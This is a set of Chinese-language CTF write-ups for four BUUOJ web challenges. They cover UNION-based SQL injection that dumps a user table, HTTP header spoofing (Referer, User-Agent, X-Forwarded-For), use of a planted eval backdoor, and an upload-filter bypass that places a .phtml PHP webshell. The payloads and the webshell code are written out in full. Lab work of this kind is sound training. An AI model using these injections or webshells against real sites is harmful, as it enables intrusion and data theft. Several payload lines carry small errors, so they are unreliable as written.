[极客大挑战 2019]LoveSQL

原始信息

题目给出的信息很有限,除了网址外,信息如下:

# 这是网页源代码中有价值的一部分
<form action="check.php" method="GET">
<p style="font-family:arial;color:white;font-size:20px;text-align:center;">用户名:</p>
<div align="center"><input type="text" name="username" style="text-align:center;" class="input" /></div>

<p style="font-family:arial;color:white;font-size:20px;text-align:center;">密 码:</p>
<div align="center"><input type="text" name="password" style="text-align:center;" class="input" /></div>

<div align="center">
<input type="submit" value="登录" class="slickButton3">
</div>
</form>

# 从这里能获取的信息是:
"""
1.网页采用get明文传输
2.网页传入的参数有两个:
username
password
3.涉及的php文件为:
check.php
"""

解题

判断注入

优先使用万能密码测试下,得到的网页信息如下:
-- 这个“%23”是“#”的意思,可能因为某些特殊原因,原始的#不给用了。
/check.php?username=1' or '1'='1' %23&password=123

登进去后,看到的网页源代码信息如下:
Login Success!
Hello admin!
Your password is 'c6580e926467839cd0b9b1ffde625cdd'
返回的是admin用户的用户名和加密密码
使用十六进制解码和md5解码解不出来,使用传统SQL手工注入实验

开始注入

这里使用的工具是:hackbar

#传统的SQL手工注入流程:
检测是否存在漏洞=>测注入点(回显点)=>爆库=>爆表=>爆字段=>爆字段值=>得到flag

好了,开始手注了:
1.测试列数
/check.php?username=1' order by 1 %23&password=123
此时返回正常的:
NO,Wrong username password!!!
刚好测到4时,出现报错:
/check.php?username=4' order by 1 %23&password=123
回显报错是:
Unknown column '4' in 'order clause'
说明列数为3
2.测试回显点
这里采用的是联合查询
/check.php?username=4' union select 1,2,3 %23&password=123 '
output:
Hello 2
Your password is '3'
返回的信息有'2''3'作为回显点,那么我们就可以……嘿嘿嘿……

3.爆库
这个爆库是有个大前提的,就是它必须自带information_schema表
这个是Mysql5.0开始系统自带的数据表,同时还有其它数据表也是系统自带的
这里先按下不表

尝试爆出当前 '数据库名''版本信息' :
/check.php?username=4' union select 1,database(),version() %23&password=123 '
output:
Hello geek!
Your password is '10.3.18-MariaDB'
说明当前数据库是'geek',版本是'10.3.18-MariaDB',
符合使用那个特殊表的条件

3.爆表
使用information_schema '爆表名' :(显示问题,分成几行写)
/check.php?username=4' union select 1,
2,group_concat(table_name) from
information_schema.tables where table_schema=database() %23
&password=123 '

output:
Hello 2
Your password is 'geekuser,l0ve1ysq1'

4.爆字段
尝试爆刚刚得到表的相关字段(因为'geekuser'表爆不出重要信息,省略)
/check.php?username=4' union select 1,
group_concat(column_name),3 from
information_schema.columns where
table_name='l0ve1ysq1'%password=123 '
爆出的信息:
Hello 2
Your password is 'id,username,password'

5.爆字段值
找到了库名,表名,只需要爆出字段值就能找到目标账户信息了:
/check.php?username=1' union select 1,
group_concat(username,'<br>'),group_concat(password,'<br>')
from geek.l0ve1ysq1 %23&password=1
output:
Hello
1cl4y,2glzjin,3Z4cHAr7zCr,40xC4m3l,5Ayrain,6Akko,7fouc5,8fouc5,9fouc5,10fouc5,11fouc5,12fouc5,13fouc5,14fouc5,15leixiao,16flag!
Your password is
'wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker,flag{a2791aca-88f6-4c0c-99f8-4291bff1dcfc}' '
'末尾处有flag:'
flag{a2791aca-88f6-4c0c-99f8-4291bff1dcfc}

所以说,这道题的Payload是:

http://df057c97-fcec-42a3-9987-b5559cf9968a.node4.buuoj.cn:81/check.php
?username=1' union select 1,group_concat(id,username),group_concat(password) from geek.l0ve1ysq1 %23
&password=123

[极客大挑战 2019]Http

原始资料

题目提供的原始资料很少,除了题目提示是http请求外,就是从页面源码当中看到的Secret.php了,其余基本上就是js和css。

解题

开头一个扫,没什么鸟用。因为扫不出其它我们不知道的信息:

[200][text/html; charset=UTF-8][3.97kb] http://node4.buuoj.cn:27517/index.php
[200][text/html; charset=UTF-8][3.97kb] http://node4.buuoj.cn:27517/index.php/login/
[200][text/html; charset=UTF-8][3.97kb] http://node4.buuoj.cn:27517/
[200][text/javascript][835.00b] http://node4.buuoj.cn:27517/assets/js/jquery.scrolly.min.js
[200][text/html; charset=UTF-8][2.34kb] http://node4.buuoj.cn:27517/Secret.php
[200][text/css][70.46kb] http://node4.buuoj.cn:27517/assets/css/main.css
[200][text/javascript][2.17kb] http://node4.buuoj.cn:27517/assets/js/jquery.scrollex.min.js
[200][image/jpeg][11.09kb] http://node4.buuoj.cn:27517/images/pic01.jpg
[200][text/javascript][8.80kb] http://node4.buuoj.cn:27517/assets/js/skel.min.js
[200][text/javascript][2.18kb] http://node4.buuoj.cn:27517/assets/js/main.js
[200][text/javascript][93.71kb] http://node4.buuoj.cn:27517/assets/js/jquery.min.js
[200][text/javascript][12.14kb] http://node4.buuoj.cn:27517/assets/js/util.js

尝试直接访问Secret.php页面

1.访问页面时,出现了提示:
It doesn't come from 'https://Sycsecret.buuoj.cn'
提示信息表示它不是来自https://Sycsecret.buuoj.cn
表示需要将来源定义为https://Sycsecret.buuoj.cn
在http数据包添加字段:
Referer: https://Sycsecret.buuoj.cn
让后放行进行第二次访问

2.第二次访问,提示信息为:
Please use "Syclover" browser
指出浏览器的来源要使用Syclover浏览器
能指认出浏览器的东西只有UA
数据包中修改UA为:
User-Agent: Syclover
再次放行数据包

3.第三次放行数据包,得到的是:
No!!! you can only read this locally!!!
提示只能进行本地访问,http数据包中再插入信息
X-Forwarded-For: 127.0.0.1
再次放行数据包,得到flag

总结

涉及三个协议:

# 1.重定向网站的来源
Referer: https://Sycsecret.buuoj.cn
# 2.重定向网站的访问浏览器
User-Agent: Syclover
# 3. IP请求伪造(转发为某IP)
X-Forwarded-For: 127.0.0.1

[极客大挑战 2019]Knife

原始信息

打开网页就一个提示:白给的shell
页面上甚至还自己写了个后门给你钻。
这不干?干他!

<!DOCTYPE html>

<html>
<style>
p,h1 {
cursor: default;
}
</style>
<head>
<meta charset="utf-8">
<title>白给的shell</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">我家菜刀丢了,你能帮我找一下么</h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">eval($_POST["Syc"]);</p>
<div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</body>
</html>

解题

菜刀链接上去,直接一把梭到根目录把flag整出来就行

flag{1d762cd2-f016-402e-bc42-47beac5ab13c}

[极客大挑战 2019]Upload

原始信息

看个题目信息就知道,这玩意儿一定是文件上传。
打开题目后,就一个文件上传页面。

解题

尝试随便上传个东西上去,看有什么反应。

1.上传个ddd.png,页面的提示信息是:
上传文件名: ddd.jpg

2.既然有文件上传,那尝试访问下这个文件。
题目提示“Upload”,会不会文件夹就是这个呢?
直接访问失败:
http://xxx.xxx.xxx.com/ddd.png
加上upload文件夹则正常访问(这下省了去扫目录的时间了)
http://xxx.xxx.xxx.com/upload/ddd.png

3.既然都能上传文件并且访问了……那不上传个后门一把梭啊!
不过限制还是得看的

文件上传

限制:
目前测试时,限制大概是:
文件名:"1.php"
这种紧紧贴合"的文件不给过。包括所有的php后缀
除了"1.php "出现 “Don't lie to me, it's not image at all!!!”
文件内容:
带有“?”就不给过,这代表要舍弃两种格式:
<?php?>,<?=?>

常规的命名无法绕过,这里找到了一个特殊的文件命名:
Content-Disposition: form-data; name="file"; filename="hack.phtml"
Content-Type: image/jpeg

文件内容:
GIF89a?
<script language="php">eval($_REQUEST['shell'])</script>

传上去后,直接一把梭:
url:
http://xxx.xxxx.xxx.com/upload/hack.phtml
密码:
shell

翻目录把flag翻出来就Ok了。flag在根目录。

下面,我们得到了处理文件上传的php:

<!DOCTYPE html>
<html lang="zh">

<style>
.error {
font-family:Microsoft YaHei;
font-family:arial;
color:red;
font-size:40px;
text-align:center;
}
</style>

<head>
<meta charset="UTF-8">
<title>check</title>
<link rel="stylesheet" type="text/css" href="css/reset.css">
<link rel="stylesheet" href="css/demo.css" />
<link rel="stylesheet" href="dist/styles/Vidage.css" />
</head>

<body>
<div class="Vidage">
<div class="Vidage__image"></div>
<video id="VidageVideo" class="Vidage__video" preload="metadata" loop autoplay muted>
<source src="videos/bg.webm" type="video/webm">
<source src="videos/bg.mp4" type="video/mp4">
</video>
<div class="Vidage__backdrop"></div>
</div>

<script src="dist/scripts/Vidage.min.js"></script>
<script>
new Vidage('#VidageVideo');
</script>
</br></br></br></br></br></br></br></br></br></br></br></br></br></br></br>
<div class="error">
<strong>
<?php
$file = $_FILES["file"];

// 鍏佽涓婁紶鐨勫浘鐗囧悗缂€
$allowedExts = array("php","php2","php3","php4","php5","pht","phtm");
$temp = explode(".", $file["name"]);
$extension = strtolower(end($temp)); // 鑾峰彇鏂囦欢鍚庣紑鍚?
$image_type = @exif_imagetype($file["tmp_name"]);
if ((($file["type"] == "image/gif")
|| ($file["type"] == "image/jpeg")
|| ($file["type"] == "image/jpg")
|| ($file["type"] == "image/pjpeg")
|| ($file["type"] == "image/x-png")
|| ($file["type"] == "image/png"))
&&$file["size"] < 20480) // 灏忎簬 20 kb
{
if ($file["error"] > 0){

echo "ERROR!!!";
}
elseif (in_array($extension, $allowedExts)) {
echo "NOT锛?.$extension."!";
}
elseif (mb_strpos(file_get_contents($file["tmp_name"]), "<?") !== FALSE) {
echo "NO! HACKER! your file included '&#x3C;&#x3F;'";
}
elseif (!$image_type) {
echo "Don't lie to me, it's not image at all!!!";
}
else{
$fileName='./upload/'.$file['name'];
move_uploaded_file($file['tmp_name'],$fileName);
echo "涓婁紶鏂囦欢鍚? " . $file["name"] . "<br>";
}
}
else
{
echo "Not image!";
}
?>
</strong>
</div>


<div style="position: absolute;bottom: 0;width: 95%;"><p align="center" style="font:italic 15px Georgia,serif;"> Syclover @ cl4y</p></div>
</body>
</html>

收获

这次收获如下:

找到新的php后缀:phtml
找到新的图片文件头:GTF?